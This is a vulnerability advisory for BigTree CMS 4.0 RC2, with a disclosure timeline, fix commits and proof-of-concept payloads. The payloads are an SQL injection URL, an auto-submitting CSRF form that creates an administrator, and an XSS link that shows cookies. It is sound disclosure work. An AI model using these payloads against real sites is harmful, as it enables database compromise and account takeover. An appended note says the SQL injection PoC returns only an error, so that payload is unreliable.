BigTree CMS 4.0 RC2 - Multiple Vulnerabilities

Advisory ID: HTB23165
Product: BigTree CMS
Vendor: BigTree CMS
Vulnerable Version(s): 4.0 RC2 and probably prior
Tested Version: 4.0 RC2
Vendor Notification: July 17, 2013 
Vendor Patch: July 17, 2013 
Public Disclosure: August 7, 2013 
Vulnerability Type: SQL Injection [CWE-89], Cross-Site Scripting [CWE-79], Cross-Site Request Forgery [CWE-352]
CVE References: CVE-2013-4879, CVE-2013-4880
Risk Level: High 
CVSSv2 Base Scores: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P), 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in BigTree CMS, which can be exploited to perform SQL injection, Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) attacks. A remote attacker can add, modify or delete information in application's database and gain complete control over the application.


1) SQL Injection in BigTree CMS: CVE-2013-4879
EDB-Note: SQLi PoC gives an error but does not provide much. Will need to play with it.

The vulnerability exists due to insufficient sanitisation of user-supplied data passed to "/site/index.php" script. A remote unauthenticated attacker can execute arbitrary SQL commands in application's database.

The following PoC (Proof of Concept) code displays version of MySQL server:

http://[host]/site/index.php/%27and%28select%201%20from%28select%20count%28*%29%2cconcat%28%28select%20concat%28version%28%29%29%29%2cfloor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29and%27


2) Сross-Site Request Forgery (CSRF) in BigTree CMS: CVE-2013-4881

The vulnerability exists due to insufficient validation of the HTTP request origin. A remote attacker can create a malicious web page with CSRF exploit, trick a logged-in administrator into opening that page and create a new user with administrative privileges.

The basic CSRF  exploit below will create a new administrator "attacker" with password "password":


<form action="http://[host]/site/index.php/admin/users/create/" method="post" name="main">
<input type="hidden" name="email"  value="[email protected]">
<input type="hidden" name="password"  value="password">
<input type="hidden" name="level"  value="1">
<input type="hidden" name="name"  value="attacker">
<input type="hidden" name="company"  value="company">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>



3) Cross-Site Scripting (XSS) in BigTree CMS: CVE-2013-4880

The vulnerability exists due to insufficient filtration of user-supplied data in "module" HTTP GET parameter passed to "/site/index.php/admin/developer/modules/views/add/" URL. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The exploitation example below uses the "alert()" JavaScript function to display administrator's cookies:

http://[host]/site/index.php/admin/developer/modules/views/add/?module=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E&table=1&title=dolfbnwl

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Solution:

Replace the following files with their updated versions from GitHub:
core/inc/bigtree/cms.php
core/admin/modules/users/create.php
core/admin/modules/developer/modules/views/add.php

More Information:
https://github.com/bigtreecms/BigTree-CMS/commit/c5f27bf66a7f35bd3daeb5f693f3e2493f51b1f3
https://github.com/bigtreecms/BigTree-CMS/commit/4b0faa90fa8b9e1776c86db716894dcd7e6b4834
https://github.com/bigtreecms/BigTree-CMS/commit/8a59c2e13f8e151b6a9e98f73e641e1ec8d928df

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References:

[1] High-Tech Bridge Advisory HTB23165 - https://www.htbridge.com/advisory/HTB23165 - Multiple Vulnerabilities in BigTree CMS.
[2] BigTree CMS - http://www.bigtreecms.org/ - BigTree CMS is an open source content management system built on PHP and MySQL.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. 

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.